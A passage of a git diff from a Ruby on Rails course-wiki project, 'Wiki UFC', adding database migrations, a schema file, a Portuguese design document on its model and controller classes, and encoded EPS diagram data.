["forum_id", "created_at"], :name => "index_posts_on_forum_id" + + create_table "forum_schema_info", :id => false, :force => true do |t| + t.integer "version" + end + + create_table "forum_sessions", :force => true do |t| + t.string "session_id" + t.text "data" + t.datetime "updated_at" + t.integer "user_id" + end + + add_index "forum_sessions", ["session_id"], :name => "sessions_session_id_index" + + create_table "forum_topics", :force => true do |t| + t.integer "forum_id" + t.integer "user_id" + t.string "title" + t.datetime "created_at" + t.datetime "updated_at" + t.integer "hits", :default => 0 + t.integer "sticky", :default => 0 + t.integer "posts_count", :default => 0 + t.datetime "replied_at" + t.boolean "locked", :default => false + t.integer "replied_by" + t.integer "last_post_id" + end + + add_index "forum_topics", ["forum_id", "replied_at"], :name => "index_topics_on_forum_id_and_replied_at" + add_index "forum_topics", ["forum_id", "sticky", "replied_at"], :name => "index_topics_on_sticky_and_replied_at" + add_index "forum_topics", ["forum_id"], :name => "index_topics_on_forum_id" + + create_table "forum_users", :force => true do |t| + t.string "login" + t.string "email" + t.string "password_hash" + t.datetime "created_at" + t.datetime "last_login_at" + t.boolean "admin" + t.integer "posts_count", :default => 0 + t.datetime "last_seen_at" + t.string "display_name" + t.datetime "updated_at" + t.string "website" + t.string "login_key" + t.datetime "login_key_expires_at" + t.boolean "activated", :default => false + t.string "bio" + t.text "bio_html" + t.string "openid_url" + end + + add_index "forum_users", ["posts_count"], :name => "index_users_on_posts_count" + add_index "forum_users", ["last_seen_at"], :name => "index_users_on_last_seen_at" + + time = Time.now.strftime("%Y-%m-%d %H:%M:%S") + execute "insert into forum_users (id, login, email, created_at," + + "last_login_at, admin, display_name, updated_at, website," + + "activated) select u.id, u.login, u.email, '#{time}'," + + "'#{time}', 1, u.name, '#{time}', '', 1 from users u" + end + + def self.down + drop_table :forum_forums + drop_table :forum_logged_exceptions + drop_table :forum_moderatorships + drop_table :forum_monitorships + drop_table :forum_open_id_authentication_associations + drop_table :forum_open_id_authentication_nonces + drop_table :forum_open_id_authentication_settings + drop_table :forum_posts + drop_table :forum_schema_info + drop_table :forum_sessions + drop_table :forum_topics + drop_table :forum_users + end +end diff --git a/db/migrate/018_drop_professors.rb b/db/migrate/018_drop_professors.rb new file mode 100644 index 0000000..5b2df42 --- /dev/null +++ b/db/migrate/018_drop_professors.rb @@ -0,0 +1,17 @@ +class DropProfessors < ActiveRecord::Migration + def self.up + drop_table :professors + drop_table :courses_professors + end + + def self.down + create_table :professors do |t| + t.column :name, :string, :null => false + end + + create_table :courses_professors, :id => false do |t| + t.column :professor_id, :integer + t.column :course_id, :integer + end + end +end diff --git a/db/migrate/019_acts_as_versioned.rb b/db/migrate/019_acts_as_versioned.rb new file mode 100644 index 0000000..1398e2e --- /dev/null +++ b/db/migrate/019_acts_as_versioned.rb @@ -0,0 +1,36 @@ +class ActsAsVersioned < ActiveRecord::Migration + def self.up + drop_table :wiki_pages + drop_table :wiki_versions + + create_table :wiki_pages, :force => true do |t| + t.integer :course_id + t.integer :user_id + t.integer :version, :null => false + t.string :description + t.string :title + t.text :content, :null => false + t.timestamps + end + + WikiPage.create_versioned_table + end + + def self.down + WikiPage.drop_versioned_table + create_table "wiki_pages", :force => true do |t| + t.integer "course_id" + t.string "title", :null => false + t.integer "diff_countdown", :default => 0, :null => false + end + + create_table "wiki_versions", :force => true do |t| + t.text "content", :null => false + t.datetime "created_on", :null => false + t.integer "user_id" + t.integer "wiki_page_id" + t.boolean "root", :default => true, :null => false + t.text "description" + end + end +end diff --git a/db/migrate/020_message_inheritance.rb b/db/migrate/020_message_inheritance.rb new file mode 100644 index 0000000..203faaa --- /dev/null +++ b/db/migrate/020_message_inheritance.rb @@ -0,0 +1,24 @@ +class MessageInheritance < ActiveRecord::Migration + def self.up + + add_column :messages, :type, :string + + Message.find(:all).each do |m| + case m.message_type + when -1: m[:type] = "UserShoutboxMessage" + when 0: m[:type] = "CourseShoutboxMessage" + when 3: m[:type] = "News" + else m[:type] = "Message" + end + m.save! + end + + remove_column :messages, :message_type + + end + + def self.down + add_column :messages, :message_type, :integer + remove_column :messages, :type + end +end diff --git a/db/migrate/021_user_display_name.rb b/db/migrate/021_user_display_name.rb new file mode 100644 index 0000000..e21581a --- /dev/null +++ b/db/migrate/021_user_display_name.rb @@ -0,0 +1,22 @@ +class UserDisplayName < ActiveRecord::Migration + def self.up + add_column :users, :display_name, :string + add_column :users, :description, :text + add_column :users, :last_seen, :datetime + + User.find(:all).each do |user| + user.display_name = user.login + user.last_seen = Time.now + user.save! + end + + change_column :users, :display_name, :string, :null => false + change_column :users, :last_seen, :datetime, :null => false + end + + def self.down + remove_column :users, :display_name + remove_column :users, :description + remove_column :users, :last_seen + end +end diff --git a/db/migrate/022_token_login.rb b/db/migrate/022_token_login.rb new file mode 100644 index 0000000..07308d9 --- /dev/null +++ b/db/migrate/022_token_login.rb @@ -0,0 +1,14 @@ +class TokenLogin < ActiveRecord::Migration + def self.up + add_column :users, :login_key, :string + + User.find(:all).each do |user| + user.login_key = Digest::SHA1.hexdigest(Time.now.to_s + user.password.to_s + rand(123456789).to_s).to_s + user.save! + end + end + + def self.down + remove_column :users, :login_key + end +end diff --git a/db/migrate/023_wiki_page_order.rb b/db/migrate/023_wiki_page_order.rb new file mode 100644 index 0000000..22b1eeb --- /dev/null +++ b/db/migrate/023_wiki_page_order.rb @@ -0,0 +1,16 @@ +class WikiPageOrder < ActiveRecord::Migration + def self.up + add_column :wiki_pages, :position, :integer + add_column :wiki_page_versions, :position, :integer + Course.find(:all).each do |course| + course.wiki_pages.each_with_index do |wp, i| + wp.position = i+1 + wp.save! + end + end + end + + def self.down + remove_column :wiki_pages, :position + end +end diff --git a/db/migrate/024_paranoid.rb b/db/migrate/024_paranoid.rb new file mode 100644 index 0000000..652e587 --- /dev/null +++ b/db/migrate/024_paranoid.rb @@ -0,0 +1,15 @@ +class Paranoid < ActiveRecord::Migration + def self.up + add_column :wiki_pages, :deleted_at, :timestamp + add_column :messages, :deleted_at, :timestamp + add_column :events, :deleted_at, :timestamp + add_column :attachments, :deleted_at, :timestamp + end + + def self.down + remove_column :wiki_pages, :deleted_at + remove_column :messages, :deleted_at + remove_column :events, :deleted_at + remove_column :attachments, :deleted_at + end +end diff --git a/db/migrate/025_create_log_entries.rb b/db/migrate/025_create_log_entries.rb new file mode 100644 index 0000000..b22a73a --- /dev/null +++ b/db/migrate/025_create_log_entries.rb @@ -0,0 +1,16 @@ +class CreateLogEntries < ActiveRecord::Migration + def self.up + create_table :log_entries do |t| + t.datetime :created_at + t.integer :course_id, :null => false + t.integer :user_id, :null => false + t.integer :version + t.integer :target_id + t.string :type + end + end + + def self.down + drop_table :log_entries + end +end diff --git a/db/migrate/026_admin.rb b/db/migrate/026_admin.rb new file mode 100644 index 0000000..97c111d --- /dev/null +++ b/db/migrate/026_admin.rb @@ -0,0 +1,9 @@ +class Admin < ActiveRecord::Migration + def self.up + add_column :users, :admin, :boolean, :null => false, :default => false + end + + def self.down + remove_column :users, :admin + end +end diff --git a/db/migrate/027_add_course_code.rb b/db/migrate/027_add_course_code.rb new file mode 100644 index 0000000..82d3a62 --- /dev/null +++ b/db/migrate/027_add_course_code.rb @@ -0,0 +1,11 @@ +class AddCourseCode < ActiveRecord::Migration + def self.up + add_column :courses, :code, :string, :null => false, :default => "CK000" + add_column :courses, :period, :integer, :null => false, :default => 1 + end + + def self.down + remove_column :courses, :code + remove_column :courses, :period + end +end diff --git a/db/migrate/028_cleanup_db.rb b/db/migrate/028_cleanup_db.rb new file mode 100644 index 0000000..805a573 --- /dev/null +++ b/db/migrate/028_cleanup_db.rb @@ -0,0 +1,35 @@ +class CleanupDb < ActiveRecord::Migration + def self.up + change_column :attachments, :file_name, :string, :null => false + + change_column :courses, :description, :text, :null => true + + change_column :users, :login, :string, :null => false + change_column :users, :hashed_password, :string, :null => false + change_column :users, :email, :string, :null => false + change_column :users, :salt, :string, :null => false + change_column :users, :pref_color, :integer, :null => false + + change_column :wiki_pages, :course_id, :integer, :null => false + change_column :wiki_pages, :user_id, :integer, :null => false + change_column :wiki_pages, :description, :string, :null => false + change_column :wiki_pages, :title, :string, :null => false + change_column :wiki_pages, :position, :integer, :null => true + + drop_table :forum_forums + drop_table :forum_logged_exceptions + drop_table :forum_moderatorships + drop_table :forum_monitorships + drop_table :forum_open_id_authentication_associations + drop_table :forum_open_id_authentication_nonces + drop_table :forum_open_id_authentication_settings + drop_table :forum_posts + drop_table :forum_schema_info + drop_table :forum_sessions + drop_table :forum_topics + drop_table :forum_users + end + + def self.down + end +end diff --git a/db/schema.rb b/db/schema.rb new file mode 100644 index 0000000..6c16fa8 --- /dev/null +++ b/db/schema.rb @@ -0,0 +1,119 @@ +# This file is auto-generated from the current state of the database. Instead of editing this file, +# please use the migrations feature of ActiveRecord to incrementally modify your database, and +# then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your database schema. If you need +# to create the application database on another system, you should be using db:schema:load, not running +# all the migrations from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 28) do + + create_table "attachments", :force => true do |t| + t.string "file_name", :null => false + t.string "content_type" + t.datetime "last_modified" + t.text "description" + t.integer "size" + t.integer "course_id" + t.datetime "deleted_at" + end + + create_table "courses", :force => true do |t| + t.string "short_name", :null => false + t.string "full_name", :null => false + t.text "description" + t.string "code", :default => "CK000", :null => false + t.integer "period", :default => 1, :null => false + end + + add_index "courses", ["short_name"], :name => "index_courses_on_short_name", :unique => true + + create_table "courses_users", :id => false, :force => true do |t| + t.integer "user_id" + t.integer "course_id" + end + + create_table "events", :force => true do |t| + t.string "title", :null => false + t.date "date", :null => false + t.datetime "time", :null => false + t.integer "created_by", :null => false + t.integer "course_id", :default => 0, :null => false + t.text "description" + t.datetime "deleted_at" + end + + create_table "log_entries", :force => true do |t| + t.datetime "created_at" + t.integer "course_id", :null => false + t.integer "user_id", :null => false + t.integer "version" + t.integer "target_id" + t.string "type" + end + + create_table "messages", :force => true do |t| + t.string "title" + t.text "body", :null => false + t.datetime "timestamp", :null => false + t.integer "receiver_id" + t.integer "sender_id", :null => false + t.string "type" + t.datetime "deleted_at" + end + + create_table "sessions", :force => true do |t| + t.string "session_id", :null => false + t.text "data" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "sessions", ["updated_at"], :name => "index_sessions_on_updated_at" + add_index "sessions", ["session_id"], :name => "index_sessions_on_session_id" + + create_table "users", :force => true do |t| + t.string "login", :null => false + t.string "hashed_password", :null => false + t.string "email", :null => false + t.string "salt", :null => false + t.datetime "created_at" + t.string "name", :default => "", :null => false + t.integer "pref_color", :default => 6, :null => false + t.string "display_name", :null => false + t.text "description" + t.datetime "last_seen", :null => false + t.string "login_key" + t.boolean "admin", :default => false, :null => false + end + + create_table "wiki_page_versions", :force => true do |t| + t.integer "wiki_page_id" + t.integer "version" + t.integer "course_id" + t.integer "user_id" + t.string "description" + t.string "title" + t.text "content" + t.datetime "created_at" + t.datetime "updated_at" + t.integer "position" + end + + create_table "wiki_pages", :force => true do |t| + t.integer "course_id", :null => false + t.integer "user_id", :null => false + t.integer "version", :null => false + t.string "description", :null => false + t.string "title", :null => false + t.text "content", :null => false + t.datetime "created_at" + t.datetime "updated_at" + t.integer "position" + t.datetime "deleted_at" + end + +end diff --git a/doc/README_FOR_APP b/doc/README_FOR_APP new file mode 100644 index 0000000..ac6c149 --- /dev/null +++ b/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake appdoc" to generate API documentation for your models and controllers. \ No newline at end of file diff --git a/doc/SequenceEvents.jude.lock b/doc/SequenceEvents.jude.lock new file mode 100644 index 0000000..e69de29 diff --git a/doc/aplicacao/aplicacao.pdf b/doc/aplicacao/aplicacao.pdf new file mode 100644 index 0000000..b202ace Binary files /dev/null and b/doc/aplicacao/aplicacao.pdf differ diff --git a/doc/aplicacao/aplicacao.tex b/doc/aplicacao/aplicacao.tex new file mode 100644 index 0000000..8c9dee9 --- /dev/null +++ b/doc/aplicacao/aplicacao.tex @@ -0,0 +1,223 @@ +\documentclass[11pt]{article} +\usepackage[portuguese]{babel} +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{textcomp} +\usepackage{lmodern} +\usepackage{graphicx} + +\setlength{\parskip}{2ex} +\def\aspa{\textquotesingle} + +\setlength{\pdfpagewidth}{210truemm} +\setlength{\pdfpageheight}{297truemm} +\pdfadjustspacing=1 + +\topmargin -0.6in +\textheight 250truemm + +\title{\vspace{8em} \huge{Wiki UFC} \\ \vspace{0.1em} \small{Projeto da Aplicação}} +\author{ + \vspace{5em} \\ + \small{Adriano Tavares} \\ + \small{Álinson Santos} \\ + \small{André Castro} \\ + \small{Luís Henrique} \\ + \small{Rafael Barbosa} +} +\date{5 de Junho de 2007} + +\begin{document} + +\maketitle +\pagebreak + +\tableofcontents +\pagebreak + +% ============ +% Apresentação +% ============ +\section{Apresentação} + +O Wiki UFC é um sistema online colaborativo onde os alunos podem compartilhar informações sobre as +disciplinas que estão cursando. Cada disciplina possui um espaço próprio, contendo um Wiki (para +receber notas de aulas), mural de mensagens (para os alunos serem notificados sobre algum evento), +calendário (contendo datas de provas, trabalhos, etc) e um repositório de arquivos (contendo provas +passadas, listas de exercicios, etc). + +Neste documento, descreveremos os detalhes técnicos do sistema, incluindo informações sobre a +arquitetura utilizada, e as classes implementadas. + +% =========== +% Arquitetura +% =========== +\section{Arquitetura} + +O Sistema está sendo desenvolvido sobre Ruby on Rails, um framework web livre escrito na linguagem +de programação Ruby. Rails utiliza o padrão arquitetural Model-View-Controller, que, resumidamente, +separa os dados armazenados (model) da interface com o usuário (view) utilizando um componente +intermediário que implementa as regras de negócio (controller). + +A seguir, iremos apresentar as classes pertencentes ao Model e ao Controller. + +Vale ressaltar que o Rails possui um componente para mapeamento objeto-relacional, conhecido como +Active Record. Cada classe do Model possui uma relação no banco de dados, e cada atributo da classe +se traduz em um atributo da relação. + +% ===== +% Model +% ===== +\section{Classes Model} + +\subsection{User} + +Classe que representa cada usuário do sistema. Possui informações tais como login, nome, senha, +email, e permissões de acesso. + +\subsection{Course} + +Classe que representa uma disciplina. Contém algumas informações básicas, como nome e descrição. +Cada objeto Course possui uma coleção de páginas wiki (WikiPage), arquivos anexos (Attachment), +mensagens (Message) e eventos (Event), além da lista de alunos inscritos na disciplina. + +\subsection{Event} + +Classe que modela cada evento, ou atividade, presente no calendário de uma disciplina. As +informações disponíveis são título do evento, descrição, e data. + +\subsection{Attachment} + +Classe que modela os arquivos anexos, tais como provas e listas de exercício. Cada Attachment possui +nome, tamanho, data de modificação, tipo, e outras informações adicionais. + +No banco de dados, só são armazenados meta-dados sobre os anexos. Os arquivos em sí estão +gravados no sistema de arquivos convencional do servidor, e podem ser acessados a partir de um +endereço web. + +\subsection{Message} + +Classe que modela as mensagens. Cada mensagem possui título, conteúdo, destinatário, remetente, e um +tipo, que pode ser Private, Shoutbox ou Event: + +\begin{description} + \item[Private Message] No Wiki UFC, um usuário pode mandar mensagens diretamente para outros + usuários. Estas mensagens possuem o tipo Private Message. + + \item[Shoutbox Message] Praticamente toda página do Wiki UFC possui um Shoutbox, para permitir + que os usuários possam conversar em tempo real através do site. Cada mensagem enviada a algum + Shoutbox possui o tipo Shoubox Message. O destinatário é o id da disciplina. + + \item[Event Message] Além do calendário, outra forma de comunicação do Wiki UFC é o mural de + mensagens, onde os alunos podem enviar pequenos comunicados para a página da disciplina, + informando eventos como aulas extra, ou ausência do professor, por exemplo. Estas mensagens + possuem o tipo Event Message. O destinatário é o id da disciplina. +\end{description} + +\subsection{WikiPage e WikiVersion} + +Classes que modelam as páginas wiki. Cada página é representada por um objeto WikiVersion, e cada +versão de uma página, por um WikiVersion. Sempre que um usuário faz alguma modificação no conteúdo +de um wiki, um novo WikiVersion é criado e anexado ao WikiPage correspondente. Os WikiVersions +antigos sempre estão disponíveis para consulta, se o usuário desejar. + +Os objetos WikiVersion, além de possuírem informações como data de criação e conteúdo, também +possuem métodos para converter a sintaxe do wiki em HTML. + +\subsection{Diagrama de Model} + +\includegraphics[width=150truemm]{classes-model.pdf} + + +\pagebreak + +% ========== +% Controller +% ========== +\section{Classes Controller} + +Cada controller, no Ruby on Rails, implementa um conjunto de ações. Por padrão, essas ações são: + +\begin{description} + \item[index] Indica a página principal do Controller + \item[list] Exibe todos os elementos cadastrados + \item[show] Mostra os detalhes de um dos elementos + \item[new] Mostra o formulário para a criação de um novo objeto + \item[create] Insere o objeto no banco de dados + \item[edit] Mostra o formulário para a edição de um objeto + \item[update] Atualiza o objeto no banco de dados + \item[destroy] Deleta um elemento do Model +\end{description} + +Para simplificação, os métodos CRUD mencionados acima não serão repetidos para as classes a +seguir, uma vez que possuem comportamento semelhante. + +\subsection{UserController} + +Controller responsável por gerenciar os usuários. Isso inclui fazer logon e logoff, cadastrar novas +contas, alterar preferências e ressetar senhas, caso necessário. + +\begin{description} + \item[signup] Método pelo qual o usuário irá se cadastrar no sistema + \item[login] Método pelo qual o usuário irá se autenticar no sistema + \item[logout] Método pelo qual o usuário irá encerrar sua sessão + \item[forgot\_password] Método a ser utilizado caso o usuário tenha perdido sua senha, enviando uma nova por email +\end{description} + +\subsection{MessageController} + +Controller responsável pelo envio de mensagens. Usa a estrutura padrão de Controller do Rails. + +\subsection{WikiController} + +Controller responsável pelas operações sobre o wiki, que incluem edição, criação de novas páginas e +consulta de históricos. + +\subsection{CoursesController} + +Controller responsável pelo gerenciamento de disciplina. Usa a estrutura padrão de Controller do +Rails. + +\subsection{EventsController} + +Controller responsável pelo manutenção de eventos no calendário. Usa a estrutura padrão de +Controller do Rails. + +\subsection{AttachmentsController} + +Controller responsável pelo gerenciamento de arquivos anexos a páginas. Usa a estrutura padrão de +Controller do Rails. + +\subsection{Diagrama de Controller} + +\includegraphics[width=150truemm]{classes-controller.pdf} + + +\pagebreak + +% ===================== +% Diagrama de Seqüencia +% ===================== + +\section{Diagramas de Seqüência} + +\subsection{User} +\includegraphics[width=150truemm]{seq_user.png} + +\subsection{Attachment} +\includegraphics[width=130truemm]{seq_attachment.png} + +\subsection{Message} +\includegraphics[width=130truemm]{seq_message.png} + +\subsection{Course} +\includegraphics[width=130truemm]{seq_course.png} + +\subsection{Event} +\includegraphics[width=130truemm]{seq_event.png} + +\subsection{Wiki} +\includegraphics[width=150truemm]{seq_wiki.png} + + +\end{document} diff --git a/doc/aplicacao/classes-controller.eps b/doc/aplicacao/classes-controller.eps new file mode 100644 index 0000000..b8538d7 --- /dev/null +++ b/doc/aplicacao/classes-controller.eps @@ -0,0 +1,3497 @@ +%!PS-Adobe-3.0 EPSF-3.0 +%%Creator: GIMP PostScript file plugin V 1,17 by Peter Kirchgessner +%%Title: classes-controller.eps +%%CreationDate: Tue Jun 5 00:56:59 2007 +%%DocumentData: Clean7Bit +%%LanguageLevel: 2 +%%Pages: 1 +%%BoundingBox: 14 14 601 641 +%%EndComments +%%BeginProlog +% Use own dictionary to avoid conflicts +10 dict begin +%%EndProlog +%%Page: 1 1 +% Translate for offset +14.173228346456694 14.173228346456694 translate +% Translate to begin of first scanline +0 626 translate +586 -626 scale +% Image geometry +586 626 8 +% Transformation matrix +[ 586 0 0 626 0 0 ] +% Strings to hold RGB-samples per scanline +/rstr 586 string def +/gstr 586 string def +/bstr 586 string def +{currentfile /ASCII85Decode filter /RunLengthDecode filter rstr readstring pop} +{currentfile /ASCII85Decode filter /RunLengthDecode filter gstr readstring pop} +{currentfile /ASCII85Decode filter /RunLengthDecode filter bstr readstring pop} +true 3 +%%BeginData: 194108 ASCII Bytes +colorimage +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +qZ!VsJcC<$JcCr6J,~> +qZ!VsJcC<$JcCr6J,~> +qZ!VsJcC<$JcCr6J,~> +qZ!VsJcC<$JcCr6J,~> +qZ!VsJcC<$JcCr6J,~> +qZ!VsJcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$Qqp&Fsjh#IBSs8W*!li6tbJcC<$JcCr6J,~> +qZ$Qqp&Fsjh#IBSs8W*!li6tbJcC<$JcCr6J,~> +qZ$Qqp&Fsjh#IBSs8W*!li6tbJcC<$JcCr6J,~> +qZ$QqpAb-mrr2run,NCfnc/Uhs8W*!li6tbJcC<$JcCr6J,~> +qZ$QqpAb-mrr2run,NCfnc/Uhs8W*!li6tbJcC<$JcCr6J,~> +qZ$QqpAb-mrr2run,NCfnc/Uhs8W*!li6tbJcC<$JcCr6J,~> +qZ$Qqp](6nq>^Bnrr;uu"TJH%s8W#ts8W*!"9/B$s8;rss8N*!s8N)us8E#ts8N'"rrDiorr@WM +JcC<$PQ-.~> +qZ$Qqp](6nq>^Bnrr;uu"TJH%s8W#ts8W*!"9/B$s8;rss8N*!s8N)us8E#ts8N'"rrDiorr@WM +JcC<$PQ-.~> +qZ$Qqp](6nq>^Bnrr;uu"TJH%s8W#ts8W*!"9/B$s8;rss8N*!s8N)us8E#ts8N'"rrDiorr@WM +JcC<$PQ-.~> +qZ$Qqp](6nqZ$Qqs8W*!s8W&u#6+Z's8N'!rr;rts8W*!s8W*!s8W*!s8W*!s8W*!"TJH%s8W&u +p](6nJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W&u#6+Z's8N'!rr;rts8W*!s8W*!s8W*!s8W*!s8W*!"TJH%s8W&u +p](6nJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W&u#6+Z's8N'!rr;rts8W*!s8W*!s8W*!s8W*!s8W*!"TJH%s8W&u +p](6nJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!#6+Z's8N'! +pAb-mJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!#6+Z's8N'! +pAb-mJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!#6+Z's8N'! +pAb-mJcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8Vuss8W*!pAb-m +JcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8Vuss8W*!pAb-m +JcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8Vuss8W*!pAb-m +JcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;ZcspAb-m +JcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;ZcspAb-m +JcC<$JcCr6J,~> +qZ$Qqp](6nqZ$Qqs8W*!s8W*!s8W*!s8W*!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;ZcspAb-m +JcC<$JcCr6J,~> +qZ$QqpAb-mrr3Z4s8N'!s8N'!s8N'!s8N'!s8N'!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;Zcs +pAb-mJcC<$JcCr6J,~> +qZ$QqpAb-mrr3Z4s8N'!s8N'!s8N'!s8N'!s8N'!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;Zcs +pAb-mJcC<$JcCr6J,~> +qZ$QqpAb-mrr3Z4s8N'!s8N'!s8N'!s8N'!s8N'!rr;uurr;uus8W*!s8W*!s8W*!s8W*!r;Zcs +pAb-mJcC<$JcCr6J,~> +qZ$Qqp&FsjrVufrrr;uus8W*!rr;rt!ri6#rVufrrr;uus8W*!rr;oss8W*!pAb-mJcC<$JcCr6 +J,~> +qZ$Qqp&FsjrVufrrr;uus8W*!rr;rt!ri6#rVufrrr;uus8W*!rr;oss8W*!pAb-mJcC<$JcCr6 +J,~> +qZ$Qqp&FsjrVufrrr;uus8W*!rr;rt!ri6#rVufrrr;uus8W*!rr;oss8W*!pAb-mJcC<$JcCr6 +J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qZ$QqYlF_'JcC<$JcCr6J,~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$Qqm/MV:ZiG[WJcDbMrrDrrJ,~> +qZ$Qqm/MV:ZiG[WJcDbMrrDrrJ,~> +qZ$Qqm/MV:ZiG[WJcDbMrrDrrJ,~> +qZ$Qqm/MV:ZiJMRJH16$n,VeSrrDrrJ,~> +qZ$Qqm/MV:ZiJMRJH16$n,VeSrrDrrJ,~> 